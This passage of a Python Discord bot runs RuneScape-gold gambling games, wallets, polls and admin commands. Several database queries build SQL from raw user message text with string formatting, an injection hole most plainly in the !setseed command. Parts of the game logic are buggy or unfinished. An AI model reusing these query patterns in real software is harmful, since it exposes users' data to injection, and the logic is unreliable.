inline=True)\n\tembed.add_field(name=\"Player Cards - \"+str(playerscore), value=playercards, inline=True)\n\treturn embed\n\ndef drawcard(userid,player):\n\tdeck=getvalue(userid,\"deck\",\"bj\")\n\tdecklist=deck.split(\"|\")\n\tindex=random.randint(0,len(decklist))\n\tcard=decklist[index]\n\tdel decklist[index]\n\tdeck='|'.join(decklist)\n\t\n\tif player==True:\n\t\tplayercards=getvalue(userid,\"playercards\",\"bj\")\n\t\tc.execute(\"UPDATE bj SET playercards='{}' WHERE id={}\".format(playercards+str(card)+\"|\", userid))\n\telif player==False:\n\t\tbotcards=getvalue(userid,\"botcards\",\"bj\")\n\t\tc.execute(\"UPDATE bj SET botcards='{}' WHERE id={}\".format(botcards+str(card)+\"|\", userid))\n\n\tc.execute(\"UPDATE bj SET deck='{}' WHERE id={}\".format(deck, userid))\n\n######################################################################################\n\n#Predefined Variables\ncolors=[\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"0\",\"1\",\"2\",\"3\",\"4\",\"5\",\"6\",\"7\",\"8\",\"9\"]\n\n\n\nasync def my_background_task():\n\tawait client.wait_until_ready()\n\twhile not client.is_closed:\n\t\tc.execute(\"SELECT seedreset FROM data\")\n\t\tlastdate=str(c.fetchone()[0])\n\t\tif str(time.strftime(\"%d\"))!=\"12\":#lastdate\n\n\t\t\tc.execute(\"SELECT serverseed FROM data\")\n\t\t\tserverseed=str(c.fetchone()[0])\n\t\t\tc.execute(\"SELECT yesterdayseed FROM data\")\n\t\t\tyesterdayseed=str(c.fetchone()[0])\n\n\t\t\tembed = discord.Embed(color=16724721)\n\t\t\tembed.set_author(name=\"Server Seed Updates\")\n\t\t\tembed.add_field(name=\"Yesterday's Server Seed Unhashed\", value=yesterdayseed, inline=True)\n\t\t\tembed.add_field(name=\"Yesterday's Server Seed Hashed\", value=hasher.hash(yesterdayseed), inline=True)\n\t\t\tembed.add_field(name=\"Today's Server Seed Hashed\", value=hasher.hash(serverseed), inline=True)\n\t\t\tsent = await client.send_message(channel.get_channel(\"478006035332988929\"), embed=embed)\n\t\telse:\n\t\t\tawait client.send_message(server.get_channel(\"473638693626970112\"), \"Bet any amount of money in the next \"+str(nextgiveaway)+\" minutes to be entered in a 100k 07 Giveaway!\")\n\t\tnextgiveaway=random.randint(5,15)\n\t\tawait asyncio.sleep(nextgiveaway)#*60\n\n\n\n\n@client.event\nasync def on_ready():\n\tprint(\"Bot Logged In!\")\n\n@client.event\nasync def on_message(message):\n\tglobal channel\n\tmessage.content=(message.content).lower()\n\n\tchannel=message.server\n\t#############################################\n\tif message.content.startswith(\"!input\"):\n\t\tprint(message.content)\n    ###########################################\n\telif message.content==(\"!log\"):\n\t\tif str(message.author.id)==(\"199630284906430465\") or str(message.author.id)==(\"507871793189486594\"):\n\t\t\tawait client.send_message(message.channel, \"Goodbye!\")\n\t\t\tawait client.logout()\n\t################################################\n\telif message.content.startswith('!colorpicker') or message.content.startswith('!colourpicker'):\n\t\tcolor=('')\n\t\tfor i in range(6):\n\t\t\tcolor+=random.choice(colors)\n\t\tif message.content.startswith(\"!colorpicker\"):\n\t\t\tawait client.send_message(message.channel, \"Your random color is https://www.colorhexa.com/\"+color)\n\t\telif message.content.startswith(\"!colourpicker\"):\n\t\t\tawait client.send_message(message.channel, \"Your random colour is https://www.colorhexa.com/\"+color)\n\t###############################################\n\telif message.content.startswith(\"!emoji\"):\n\t\ttry:\n\t\t\tawait client.delete_message(message)\n\t\texcept:\n\t\t\tprint(\"No permissions to delete messages. RIP\")\n\t\tfinalmessage=(\"\")\n\t\tcharacters=[]\n\t\tcharacters+=(str(message.content).lower())[7:]\n\t\tfor i in characters:\n\t\t\tif i==\" \":\n\t\t\t\tfinalmessage+=\":white_small_square: \"\n\t\t\telif i in \"abcdefghijklmnopqrstuvwxyz\":\n\t\t\t\tfinalmessage+=\":regional_indicator_\"+i+\": \"\n\t\t\telif i==\"!\":\n\t\t\t\tfinalmessage+=\":grey_exclamation: \"\n\t\tawait client.send_message(message.channel, finalmessage)\n\t############################################\n\telif message.content.startswith(\"!poll\"):\n\t\tmessage.content=(message.content).title()\n\t\tembed = discord.Embed(description=\"Respond below with 👍 for YES, 👎 for NO, or 🤔 for UNSURE/NEUTRAL\", color=16724721)\n\t\tembed.set_author(name=str(message.content[6:]), icon_url=str(message.server.icon_url))\n\t\tembed.set_footer(text=\"Polled on: \"+str(datetime.datetime.now())[:-7])\n\t\tsent = await client.send_message(message.channel, embed=embed)\n\t\tawait client.add_reaction(sent,\"👍\")\n\t\tawait client.add_reaction(sent,\"👎\")\n\t\tawait client.add_reaction(sent,\"🤔\")\n\t#############################################\n\telif message.content.startswith(\"!setseed\"):\n\t\tclientseed=str((message.content)[9:])\n\t\tif len(clientseed)>20:\n\t\t\tawait client.send_message(message.channel, \"That client seed is too long. Please try a shorter one. (20 Character Limit)\")\n\t\telse:\n\t\t\tc.execute(\"UPDATE rsmoney SET clientseed={} WHERE id={}\".format(str(clientseed), int(message.author.id)))\n\t\t\tconn.commit()\n\t\t\tawait client.send_message(message.channel, \"Your client seed has been set to \"+(message.content)[9:]+\".\")\n\t#####################################\n\n\n\n\n\n\n\n\n\t###################################################\n\telif (message.content).lower()==(\"!wallet\") or (message.content).lower()==(\"!w\") or message.content==\"!$\":\n\t\tosrs=getvalue(int(message.author.id),\"07\",\"rsmoney\")\n\t\trs3=getvalue(int(message.author.id),\"rs3\",\"rsmoney\")\n\n\t\tif osrs>=1000000 or rs3>=1000000:\n\t\t\tsidecolor=2693614\n\t\telif osrs>=10000 or rs3>=10000:\n\t\t\tsidecolor=2490163\n\t\telse:\n\t\t\tsidecolor=12249599\n\t\tosrs=formatfromk(osrs, \"osrs\")\n\t\trs3=formatfromk(rs3, \"rs3\")\n\t\tif rs3==\"0k\":\n\t\t\trs3=\"0 k\"\n\t\tif osrs==\"0k\":\n\t\t\tosrs=\"0 k\"\n\t\tembed = discord.Embed(color=sidecolor)\n\t\tembed.set_author(name=(str(message.author))[:-5]+\"'s Wallet\", icon_url=str(message.author.avatar_url))\n\t\tembed.add_field(name=\"RS3 Balance\", value=rs3, inline=True)\n\t\tembed.add_field(name=\"07 Balance\", value=osrs, inline=True)\n\t\tif getvalue(int(message.author.id), \"privacy\",\"rsmoney\")==True:\n\t\t\tawait client.send_message(message.channel, embed=embed)\n\t\telse:\n\t\t\tawait client.send_message(message.channel, embed=embed)\n\n\n\n\telif  ((message.content).lower()).startswith(\"!wallet <@\") or ((message.content).lower()).startswith(\"!w <@\") or message.content.startswith(\"!$ <@\"):\n\t\tif message.content.startswith(\"!wallet <@\"):\n\t\t\ttry:\n\t\t\t\tint(str(message.content[10:11]))\n\t\t\t\tmember=message.server.get_member(message.content[10:28])\n\t\t\texcept:\n\t\t\t\tmember=message.server.get_member(message.content[11:29])\n\t\telse:\n\t\t\ttry:\n\t\t\t\tint(str(message.content[5:6]))\n\t\t\t\tmember=message.server.get_member(message.content[5:23])\n\t\t\texcept:\n\t\t\t\tmember=message.server.get_member(message.content[6:24])\n\n\t\tif getvalue(int(member.id), \"privacy\",\"rsmoney\")==True:\n\t\t\tawait client.send_message(message.channel, \"Sorry, that user has wallet privacy mode enabled.\")\n\t\telse:\n\t\t\tosrs=getvalue(int(member.id),\"07\",\"rsmoney\")\n\t\t\trs3=getvalue(int(member.id),\"rs3\",\"rsmoney\")\n\n\t\t\tif osrs>=1000000 or rs3>=1000000:\n\t\t\t\tsidecolor=2693614\n\t\t\telif osrs>=10000 or rs3>=10000:\n\t\t\t\tsidecolor=2490163\n\t\t\telse:\n\t\t\t\tsidecolor=12249599\n\t\t\tosrs=formatfromk(osrs, \"osrs\")\n\t\t\trs3=formatfromk(rs3, \"rs3\")\n\t\t\tif rs3==\"0k\":\n\t\t\t\trs3=\"0 k\"\n\t\t\tif osrs==\"0k\":\n\t\t\t\tosrs=\"0 k\"\n\t\t\tembed = discord.Embed(color=sidecolor)\n\t\t\tembed.set_author(name=(str(member))[:-5]+\"'s Wallet\", icon_url=str(member.avatar_url))\n\t\t\tembed.add_field(name=\"RS3 Balance\", value=rs3, inline=True)\n\t\t\tembed.add_field(name=\"07 Balance\", value=osrs, inline=True)\n\t\t\tawait client.send_message(message.channel, embed=embed)\n\t##########################################\n\telif message.content.startswith(\"!clear\"):\n\t\ttry:\n\t\t\tif isstaff(message.author.id)==\"verified\":\n\t\t\t\ttry:\n\t\t\t\t\tint(str(message.content).split(\" \")[2][2:3])\n\t\t\t\t\tmember=message.server.get_member(str(message.content).split(\" \")[2][2:-1])\n\t\t\t\texcept:\n\t\t\t\t\tmember=message.server.get_member(str(message.content).split(\" \")[2][3:-1])\n\n\t\t\t\tif str(message.content).split(\" \")[1]==\"07\":\n\t\t\t\t\tcurrency=\"07\"\n\t\t\t\t\tc.execute(\"UPDATE rsmoney SET osrs={} WHERE id={}\".format(0, member.id))\n\t\t\t\telif str(message.content).split(\" \")[1]==\"rs3\":\n\t\t\t\t\tcurrency=\"rs3\"\n\t\t\t\t\tc.execute(\"UPDATE rsmoney SET rs3={} WHERE id={}\".format(0, member.id))\n\t\t\t\tconn.commit()\n\n\t\t\t\tembed = discord.Embed(description=\"<@\"+str(member.id)+\">'s \"+currency+\" currency has been cleared. RIP\", color=5174318)\n\t\t\t\tembed.set_author(name=\"Wallet Clearing\", icon_url=str(member.avatar_url))\n\t\t\t\tawait client.send_message(message.channel, embed=embed)\n\t\t\telse:\n\t\t\t\tawait client.send_message(message.channel, \"Admin Command Only!\")\n\t\texcept:\n\t\t\tawait client.send_message(message.channel, \"An **error** occured. Make sure you use `!clear (rs3 or 07) (@user)`\")\n\t###########################################\n\telif (message.content).startswith(\"!update 07\") or (message.content).startswith(\"!update rs3\"):\n\t\ttry:\n\t\t\tif isstaff(message.author.id)==\"verified\":\n\t\t\t\tmaximum=False\n\t\t\t\tif (str(message.content).split(\" \")[3][-1:]).lower()==\"b\":\n\t\t\t\t\tif int(str(message.content).split(\" \")[3][:-1])>100:\n\t\t\t\t\t\tawait client.send_message(message.channel, \"You can only give up to 100b at one time for...reasons.\")\n\t\t\t\t\t\tmaximum=True\n\n\t\t\t\tif maximum==False:\n\t\t\t\t\tgame=(message.content).split(\" \")[1]\n\t\t\t\t\tamount=formatok(str(message.content).split(\" \")[3], game)\n\n\t\t\t\t\ttry:\n\t\t\t\t\t\tint(str(message.content).split(\" \")[2][2:3])\n\t\t\t\t\t\tmember=message.server.get_member(str(message.content).split(\" \")[2][2:-1])\n\t\t\t\t\texcept:\n\t\t\t\t\t\tmember=message.server.get_member(str(message.content).split(\" \")[2][3:-1])\n\n\t\t\t\t\tupdate_money(int(member.id), amount, game)\n\t\n\t\t\t\t\tembed = discord.Embed(description=\"<@\"+str(member.id)+\">'s wallet has been updated.\", color=5174318)\n\t\t\t\t\tembed.set_author(name=\"Update Request\", icon_url=str(message.author.avatar_url))\n\t\t\t\t\tawait client.send_message(message.channel, embed=embed)\n\t\t\t\telse:\n\t\t\t\t\tNone\n\t\t\telse:\n\t\t\t\tawait client.send_message(message.channel, \"Admin Command Only!\")\n\t\texcept:\n\t\t\tawait client.send_message(message.channel, \"An **error** has occured. Make sure you use `!update (rs3 or 07) (@user) (amount)`.\")\n\t############################################\n\telif message.content.startswith(\"!help\") or message.content.startswith(\"!commands\"):\n\t\tembed = discord.Embed(description=  \"\\n `!colorpicker` - Shows a random color\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t#\"\\n `!start unscramble` - Starts a game where you unscramble a word\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t#\"\\n `!start hangman` - Starts a game of hangman\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t#\"\\n `!random (SIZE)` - Starts a game where you guess a number between 1 and the given size\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!poll (QUESTION)` - Starts a Yes/No poll with the given question\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!w`, `!wallet`, or `!$` - Checks your own wallet\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!w (@USER)`, `!wallet (@USER)`, or `!$ (@USER)` - Checks that user's wallet\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t#\"\\n `!flower (AMOUNT) (hot, cold, red, orange, yellow, green, blue, or purple)` - Hot or cold gives x2, specific color gives x6\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!45x1.5 (rs3 or 07) (BET)` - Must roll above 45, x1.5 payout\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!50x1.9 (rs3 or 07) (BET)` - Must roll above 50, x1.9 payout\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!54x2 (rs3 or 07) (BET)` - Must roll above 54, x2 payout\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!75x3 (rs3 or 07) (BET)` - Must roll above 75, x3 payout\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!90x7 (rs3 or 07) (BET)` - Must roll above 90, x7 payout\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!95x10 (rs3 or 07) (BET)` - Must roll above 95, x10 payout\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t#\"\\n `!dd (rs3 or 07) (BET)` - Hosts a dice duel of the given amount\\n\" +\n\t\t\t\t\t\t\t\t\t\t\t#\"\\n `!swap (rs3 or 07) (AMOUNT)` - Swaps that amount of gold to the other game\" +\n\t\t\t\t\t\t\t\t\t\t\t#\"\\n `!rates` - Shows the swapping rates between currencies\" +\n\t\t\t\t\t\t\t\t\t\t\t#\"\\n `!cashin (rs3 or 07) (AMOUNT)` - Notifes a cashier that you want to cash in that amount\" +\n\t\t\t\t\t\t\t\t\t\t\t#\"\\n `!cashout (rs3 or 07) (AMOUNT)` - Notifes a cashier that you want to cash out that amount\"\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!transfer (rs3 or 07) (@USER) (AMOUNT)` - Transfers that amount from your wallet to the user's wallet\\n\"+\n\t\t\t\t\t\t\t\t\t\t\t\"\\n `!wager`, or `!total bet` or `!tb` - Shows your total amount bet for rs3 and 07\\n\", color=16771099)\n\n\t\tembed.set_author(name=\"Bot Commands\", icon_url=str(message.server.icon_url))\n\t\tawait client.send_message(message.channel, embed=embed)\n\t\t# await client.send_message(message.channel, \"The commands have been sent to your private messages.\")\n\t###################################\n\telif ((message.content).lower()).startswith(\"!transfer rs3\") or ((message.content).lower()).startswith(\"!transfer 07\"):\n\t\ttry:\n\t\t\ttransfered=formatok((str(message.content).split(\" \")[3]), str(message.content).split(\" \")[1])\n\t\t\tenough=True\n\n\t\t\tif str(message.content).split(\" \")[1]==\"rs3\":\n\t\t\t\tif transfered<1:\n\t\t\t\t\tawait client.send_message(message.channel, \"You must transfer at least **1k** 07.\")\n\t\t\t\t\tenough=False\n\n\t\t\telif str(message.content).split(\" \")[1]==\"07\":\n\t\t\t\tif transfered<1:\n\t\t\t\t\tawait client.send_message(message.channel, \"You must transfer at least **1k** RS3.\")\n\t\t\t\t\tenough=False\n\n\t\t\tcurrency=str(message.content).split(\" \")[1]\n\t\t\tcurrent=getvalue(int(message.author.id),currency,\"rsmoney\")\n\n\t\t\tif enough==True:\n\t\t\t\tif current>=transfered:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tint(str(message.content).split(\" \")[2][2:3])\n\t\t\t\t\t\tmember=message.server.get_member(str(message.content).split(\" \")[2][2:-1])\n\t\t\t\t\texcept:\n\t\t\t\t\t\tmember=message.server.get_member(str(message.content).split(\" \")[2][3:-1])\n\t\t\t\t\t\n\t\t\t\t\ttaker=getvalue(int(member.id),currency,\"rsmoney\")\n\t\t\t\n\t\t\t\t\tif currency==\"rs3\":\n\t\t\t\t\t\tc.execute(\"UPDATE rsmoney SET rs3={} WHERE id={}\".format(current-transfered, message.author.id))\n\t\t\t\t\t\tc.execute(\"UPDATE rsmoney SET rs3={} WHERE id={}\".format(taker+transfered, member.id))\n\t\t\t\t\telif currency==\"07\":\n\t\t\t\t\t\tc.execute(\"UPDATE rsmoney SET osrs={} WHERE id={}\".format(current-transfered, message.author.id))\n\t\t\t\t\t\tc.execute(\"UPDATE rsmoney SET osrs={} WHERE id={}\".format(taker+transfered, member.id))\n\t\t\t\t\tconn.commit()\n\n\t\t\t\t\tembed = discord.Embed(description=\"<@\"+str(message.author.id)+\"> has transfered \"+str(formatfromk(transfered, currency))+\" \"+currency+\" to <@\"+str(member.id)+\">'s wallet.\", color=5174318)\n\t\t\t\t\tembed.set_author(name=\"Transfer Request\", icon_url=str(message.author.avatar_url))\n\t\t\t\t\tawait client.send_message(message.channel, embed=embed)\n\t\t\t\telse:\n\t\t\t\t\tawait client.send_message(message.channel, \"<@\"+str(message.author.id)+\">, You don't have enough money to transfer that amount!\")\n\t\t\telse:\n\t\t\t\tNone\n\t\texcept:\n\t\t\tawait client.send_message(message.channel, \"An **error** has occured. Make sure you use `!transfer (rs3 or 07) (@user) (Amount you want to give)`.\")\n\t###################################\n\telif message.content.startswith(\"!54\") or message.content.startswith(\"!50\") or message.content.startswith(\"!75\") or message.content.startswith(\"!45\") or message.content.startswith(\"!90\") or message.content.startswith(\"!95\"):\n\t\t#try:\n\t\tgame=str(message.content).split(\" \")[1]\n\t\tbet=formatok(str(message.content).split(\" \")[2], game)\n\t\tcurrent=getvalue(message.author.id, game,\"rsmoney\")\n\n\t\tif isenough(bet, game)[0]:\n\t\t\tif message.content.startswith(\"!54x2\") or message.content.startswith(\"!54\"):\n\t\t\t\ttitle=\"54x2\"\n\t\t\t\todds=55\n\t\t\t\tmultiplier=2\n\t\t\telif message.content.startswith(\"!50x2\") or message.content.startswith(\"!50\"):\n\t\t\t\ttitle=\"50x2\"\n\t\t\t\todds=51\n\t\t\t\tmultiplier=1.9\n\n\t\t\tif current>=bet:\n\t\t\t\troll=random.randint(1,100)\n\n\t\t\t\tif roll in range(1,odds):\n\t\t\t\t\twinnings=bet*-1\n\t\t\t\t\twords=\"Rolled **\"+str(roll)+\"** out of **100**. You lost **\"+str(formatfromk(bet, game))+\"** \"+str(game)+\".\"\n\t\t\t\t\tsidecolor=16718121\n\t\t\t\t\tgains=bet*-1\n\t\t\t\telse:\n\t\t\t\t\twinnings=int(bet*multiplier)\n\t\t\t\t\twinnings=formatfromk(winnings, game)\n\t\t\t\t\twords=\"Rolled **\"+str(roll)+\"** out of **100**. You won **\"+str(winnings)+\"** \"+str(game)+\".\"\t\n\t\t\t\t\twinnings=formatok(winnings, game)\n\t\t\t\t\tsidecolor=3997475\n\t\t\t\t\tgains=(bet*multiplier)-(bet)\n\n\t\t\t\tif isinstance(winnings, float):\n\t\t\t\t\tif (winnings).is_integer():\n\t\t\t\t\t\twinnings=int(winnings)\n\n\t\t\t\twinnings=formatfromk(winnings, game)\n\t\t\t\tupdate_money(int(message.author.id), gains, game)\n\n\t\t\t\tembed = discord.Embed(color=sidecolor)\n\t\t\t\tembed.set_author(name=str(message.author), icon_url=str(message.author.avatar_url))\n\t\t\t\tembed.add_field(name=title, value=words, inline=True)\n\t\t\t\tawait client.send_message(message.channel, embed=embed)\n\n\t\t\t\tticketbets(message.author.id, bet, game)\n\n\t\t\telse:\n\t\t\t\tawait client.send_message(message.channel, \"<@\"+str(message.author.id)+\">, you don't have that much gold!\")\n\t\telse:\n\t\t\tawait client.send_message(message.channel, (isenough(bet, game))[1])\n\t\t#except:\n\t\t#\tawait client.send_message(message.channel, \"An **error** has occured. Make sure you use `!(50, 54, or 75) (rs3 or 07) (BET)`.\")\n\t#############################\n\telif message.content.startswith(\"!flower\"):\n\t\t#try:\n\t\tcurrency=(message.content).split(\" \")[1]\n\t\tbet=formatok((message.content).split(\" \")[2], currency)\n\t\tcurrent=getvalue(int(message.author.id), currency,\"rsmoney\")\n\t\tcommission=0.05\n\t\tindex=random.randint(0,5)\n\t\tflower=flowers[index]\n\t\tsidecolor=sidecolors[index]\n\n\t\tif isenough(bet, currency)[0]:\t\n\t\t\tif current>=bet:\n\t\t\t\twin=False\n\t\t\t\tif (message.content).split(\" \")[3]==\"hot\":\n\t\t\t\t\tif flower==\"Red\" or flower==\"Orange\" or flower==\"Yellow\":\n\t\t\t\t\t\tmultiplier=2\n\t\t\t\t\t\twin=True\n\t\t\t\t\telse:\n\t\t\t\t\t\tmultiplier=0\n\t\t\t\telif (message.content).split(\" \")[3]==\"cold\":\n\t\t\t\t\tif flower==\"Blue\" or flower==\"Pastel\" or flower==\"Purple\":\n\t\t\t\t\t\tmultiplier=2\n\t\t\t\t\t\twin=True\n\t\t\t\t\telse:\n\t\t\t\t\t\tmultiplier=0\n\t\t\t\telif ((message.content).split(\" \")[3]).title() in flowers:\n\t\t\t\t\tif flower==((message.content).split(\" \")[3]).title():\n\t\t\t\t\t\tmultiplier=6\n\t\t\t\t\t\twin=True\n\t\t\t\t\telse:\n\t\t\t\t\t\tmultiplier=0\n\n\n\t\t\t\twinnings=(bet*multiplier)-(commission*bet*multiplier)\n\t\t\t\tif isinstance(winnings, float):\n\t\t\t\t\tif (winnings).is_integer():\n\t\t\t\t\t\twinnings=int(winnings)\n\t\t\t\twinnings=formatfromk(winnings, currency)\n\n\t\t\t\tif win==True:\n\t\t\t\t\twords=(\"Congratulations! The color of the flower was `\"+flower+\"`. \"+str(message.author)+\" won `\"+winnings+\"` \"+currency+\".\")\n\t\t\t\t\tupdate_money(int(message.author.id), (bet)-(bet*commission*multiplier), currency)\n\t\t\t\telse:\n\t\t\t\t\twords=(\"Sorry, the color the flower was `\"+flower+\"`. \"+str(message.author)+\" lost `\"+formatfromk(bet, currency)+\"` \"+currency+\".\")\n\t\t\t\t\tupdate_money(int(message.author.id), bet*-1, currency)\n\n\t\t\t\tembed = discord.Embed(description=words, color=sidecolor)\n\t\t\t\tembed.set_author(name=(str(message.author))[:-5]+\"'s Gamble\", icon_url=str(message.author.avatar_url))\n\t\t\t\tembed.set_footer(text=\"Gambled on: \"+str(datetime.datetime.now())[:-7])\n\t\t\t\tawait client.send_message(message.channel, embed=embed)\n\n\t\t\t\tticketbets(message.author.id, bet, currency)\n\n\t\t\telse:\n\t\t\t\tawait client.send_message(message.channel, \"<@\"+str(message.author.id)+\">, You don't have that much gold!\")\n\t\telse:\n\t\t\tawait client.send_message(message.channel, (isenough(bet, currency))[1])\n\t\t#except:\n\t\t# \tawait client.send_message(message.channel, \"An **error** has occured. Make sure you use `!flower (rs3 or 07) (Amount) (hot, cold, red, orange, yellow, green, blue, or purple)`.\")\n\t################################\n\telif ((message.content).lower()).startswith(\"!wager\") or ((message.content).lower()).startswith(\"!total bet\") or ((message.content).lower()).startswith(\"!tb\"):\n\t\trs3total=getvalue(message.author.id, \"rs3total\",\"rsmoney\")\n\t\tosrstotal=getvalue(message.author.id, \"osrstotal\",\"rsmoney\")\n\n\t\tosrs=formatfromk(osrstotal, \"osrs\")\n\t\trs3=formatfromk(rs3total, \"rs3\")\n\n\t\tembed = discord.Embed(color=16766463)\n\t\tembed.set_author(name=(str(message.author))[:-5]+\"'s Total Bets\", icon_url=str(message.author.avatar_url))\n\t\tembed.add_field(name=\"RS3 Total Bets\", value=rs3, inline=True)\n\t\tembed.add_field(name=\"07 Total Bets\", value=osrs, inline=True)\n\t\tawait client.send_message(message.channel, embed=embed)\n\t################################\n\telif message.content==\"!privacy on\":\n\t\tc.execute(\"UPDATE rsmoney SET privacy=True WHERE id={}\".format(message.author.id))\n\t\tconn.commit()\n\t\tawait client.send_message(message.channel, \"<@\"+str(message.author.id)+\">'s wallet privacy is now enabled.\")\n\t#################################\n\telif message.content==\"!privacy off\":\n\t\tc.execute(\"UPDATE rsmoney SET privacy=False WHERE id={}\".format(message.author.id))\n\t\tawait client.send_message(message.channel, \"<@\"+str(message.author.id)+\">'s wallet privacy is now disabled.\")\n\t\tconn.commit()\n\t#################################\n\telif message.content.startswith(\"!randint\"):\n\t\tmaximum=int((message.content).split(\" \")[1])\n\t\tif maximum>10000 or maximum<1:\n\t\t\tawait client.send_message(message.channel, \"That is not a valid maximum number. Please try again.\")\n\t\telse:\n\t\t\tawait client.send_message(message.channel, \"**\"+str(random.randint(1,maximum))+\"**\")\n\t#################################\n\telif message.content.startswith(\"!bj\"): #A work in progress...\n\t\t#try:\n\t\tdeck=[\"aC|aS|aH|aD|2C|2S|2H|2D|3C|3S|3H|3D|4C|4S|4H|4D|5C|5S|5H|5D|6C|6S|6H|6D|7C|7S|7H|7D|8C|8S|8H|8D|9C|9S|9H|9D|10C|10S|10H|10D|jC|jS|jH|jD|qC|qS|qH|qD|kC|kS|kH|kD\"]\n\t\tcurrency=(message.content).split(\" \")[1]\n\t\tbet=formatok((message.content).split(\" \")[2], currency)\n\t\tcurrent=getvalue(int(message.author.id), currency,\"rsmoney\")\n\t\tif isenough(bet, currency)[0]:\n\t\t\tif current>=bet:\n\t\t\t\ttry:\n\t\t\t\t\tc.execute(\"SELECT playerscore FROM bj WHERE id={}\".format(message.author.id))\n\t\t\t\t\ttester=int(c.fetchone()[0])\n\t\t\t\t\tawait client.send_message(message.channel, \"You are already in a game of blackjack! Type \\'hit\\' or \\'stand\\' to continue the game!\")\n\t\t\t\texcept:\n\t\t\t\t\tc.execute(\"INSERT INTO bj VALUES (%s, %s, %s, %s, %s, %s, %s, %s)\", (message.author.id,deck,\"\",\"\",0,0,bet,currency))\n\t\t\t\t\tdrawcard(message.author.id,True)\n\t\t\t\t\tdrawcard(message.author.id,True)\n\t\t\t\t\tdrawcard(message.author.id,False)\n\t\t\t\t\tdrawcard(message.author.id,False)\n\t\t\t\t\tbotcards=getvalue(message.author.id,\"botcards\",\"bj\")\n\t\t\t\t\tplayercards=getvalue(message.author.id,\"playercards\",\"bj\")\n\t\t\t\t\tscorebj(message.author.id,botcards,False)\n\t\t\t\t\tscorebj(message.author.id,playercards,True)\n\t\t\t\t\tawait client.send_message(message.channel, embed=printbj(message.author.id))\n\t\t\t\tconn.commit()\n\t\t\telse:\n\t\t\t\tawait client.send_message(message.channel, \"<@\"+str(message.author.id)+\">, you don't have that much gold!\")\n\t\telse:\n\t\t\tawait client.send_message(message.channel, (isenough(bet, game))[1])\n\t\t#except:\n\t\t#\tawait client.send_message(message.channel, \"An **error** has occured. Make sure you use `!bj (rs3 or 07) (Amount)`.\")\n\t#################################\n\telif message.content.startswith(\"!top\"):\n\t\tgame=(message.content).split(\" \")[1]\n\t\tif game==\"rs3\" or game==\"osrs\" or game==\"07\":\n\t\t\tif game==\"rs3\":\n\t\t\t\tc.execute(\"SELECT * From rsmoney ORDER BY rs3total DESC LIMIT 5\")\n\t\t\telif game==\"osrs\" or game==\"07\":\n\t\t\t\tc.execute(\"SELECT * From rsmoney ORDER BY osrstotal DESC LIMIT 5\")\n\t\t\ttop=c.fetchall()\n\t\t\twords=\"\"\n\t\t\tfor counter, i in enumerate(top):\n\t\t\t\tuserid=i[0]\n\t\t\t\ttotal=i[4]\n\t\t\t\ttotal=formatfromk(int(total),game)\n\t\t\t\twords+=(str(counter+1)+\". \"+str(message.server.get_member(str(userid)))+\" - \"+total+\"\\n\\n\")\n\n\t\t\tembed = discord.Embed(color=16771250, description=words)\n\t\t\tembed.set_author(name=\"Top \"+game+\" Wager\", icon_url=str(message.server.icon_url))\n\t\t\tawait client.send_message(message.channel, embed=embed)\n\t\telse:\n\t\t\tNone\n\t################################\n\telif message.content.startswith(\"!hit\"):\n\t\tdrawcard(message.author.id,True)\n\t\tcards=getvalue(message.author.id,\"playercards\",\"bj\")\n\t\tplayerscore=scorebj(message.author.id,cards,True)\n\t\tbotscore=getvalue(message.author.id,\"botscore\",\"bj\")\n\n\t\tif playerscore==21 and botscore==21:\n\t\t\tawait client.send_message(message.channel, \"Congratulations, you won!\")\n\n\t\tif botscore<17:\n\t\t\tdrawcard(message.author.id,False)\n\t\t\tawait client.send_message(message.channel,\"Bot hits!\")\n\t\telse:\n\t\t\tawait client.send_message(message.channel,\"Bot stands!\")\n\t\tcards=getvalue(message.author.id,\"botcards\",\"bj\")\n\t\tscorebj(message.author.id,cards,False)\n\n\t\tawait client.send_message(message.channel, embed=printbj(message.author.id))\n\t####################################\n\telif message.content.startswith(\"!stand\"):\n\t\twhile True:\n\t\t\tcards=getvalue(message.author.id,\"botcards\",\"bj\")\n\t\t\tbotscore=scorebj(message.author.id,cards,False)\n\t\t\tif botscore<17:\n\t\t\t\tdrawcard(message.author.id,False)\n\t\t\t\tawait client.send_message(message.channel,\"Bot hits!\")\n\t\t\telse:\n\t\t\t\tawait client.send_message(message.channel,\"Bot stands!\")\n\t\t\t\tbreak\n\t\tplayerscore=getvalue(message.author.id,\"playerscore\",\"bj\")\n\t\tif botscore==playerscore:\n\t\t\tawait client.send_message(message.channel, \"Game ends in a tie! Money Back!\")\n\t\t\tcurrency=getvalue(message.author.id,\"currency\",\"bj\")\n\t\t\tbet=getvalue(message.author.id,\"bet\",\"bj\")\n\t\t\tupdate_money(message.author.id,bet,currency)\n\n\n\t\tawait client.send_message(message.channel, embed=printbj(message.author.id))\n\t\t\n\nclient.loop.create_task(my_background_task())\nBot_Token = os.environ['TOKEN']\nclient.run(str(Bot_Token))\n#https://discordapp.com/oauth2/authorize?client_id=502951164254355456&scope=bot&permissions=0","sub_path":"sloth.py","file_name":"sloth.py","file_ext":"py","file_size_in_byte":30164,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
